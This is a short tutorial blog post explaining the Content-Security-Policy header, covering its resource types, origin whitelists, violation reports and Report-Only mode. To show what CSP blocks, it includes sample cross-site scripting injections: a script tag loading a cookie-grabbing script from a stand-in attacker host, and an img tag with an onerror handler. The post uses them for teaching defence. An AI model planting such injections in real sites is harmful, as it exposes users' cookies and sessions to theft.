There are many decisions that go into the process of creating a secure website. One of these decisions is selecting which HTTP security headers to implement. HTTP security headers are response headers designed to enhance the security of a site. They instruct browsers on how to behave and prevent them from executing vulnerabilities that would endanger your users.

One of these headers is the Content Security Policy or CSP header, and it’s one of the headers that confused me the most when I was first learning about HTTP security.

What Is CSP?

The Content-Security-Policy header tells the browser which resources it is allowed to load for the given page. CSP allows you to specify a resource type and then specify a whitelist of locations from which those resources can be loaded.

This helps prevent many cross-site scripting attacks. Because if attackers specify an external script source like this one, the browser would not load the script if the page’s CSP does not allow scripts from random domains.

<script src="https://attacker.com/cookie_grabber.js"></script>

CSP also blocks inline scripts and event-handling HTML attributes by default. So this will help prevent malicious scripts injected like these, as well.

<img src="https://dzone.com/articles/img_source" onerror=SOMETHING BAD>

The CSP header is specified by using content-security-policy, then a list of resource types and the origins allowed for that resource type.

Content-Security-Policy: 
RESOURCE-TYPE ORIGIN ORIGIN
RESOURCE-TYPE ORIGIN ...

There are many resource types that you can specify in the policy, but the most important one is script-src, which defines where scripts can be loaded from. You can also define where an image comes from and where fonts can come from by using font-src and img-src — you get the idea. There’s also a default type that catches all resource types that do not already have a policy called default-src.

For example, this policy tells the browsers that all scripts should come from the current domain, and all other resources should only be loaded from the current domain and the subdomains of example.com.

Content-Security-Policy: 
script-src 'self'; 
default-src 'self' *.example.com

And this policy tells the browser to only load images from cdn.example.com and to only load scripts from its own domain and Google analytics.

Content-Security-Policy: 
img-src self cdn.example.com; 
script-src 'self' https://www.google-analytics.com

CSP Violation Reports

By default, CSP violations are blocked but not reported. But if you want violations reported back to you, you can specify a report-uri within the policy and set up your server to process CSP reports.

Content-Security-Policy: 
default-src 'self'; 
report-uri https://example.com/csp_violations/

So when you deploy these policies you want to be as restrictive as possible without breaking any existing functionality, such as the analytics scripts or fonts you might need from a third party.

One way of testing your CSP rules without blocking any requests is to use Content-Security-Policy-Report-Only. If you use this header instead of the usual CSP header, policy violations will not be blocked. And they will instead be reported to the specified report-uri.

Content-Security-Policy-Report-Only: 
default-src 'self'; 
report-uri https://example.com/csp_violations/

And that’s the basics of Content Security Policy! What other security concepts do you want to learn about? I’d love to know. Feel free to connect on Twitter @vickieli7.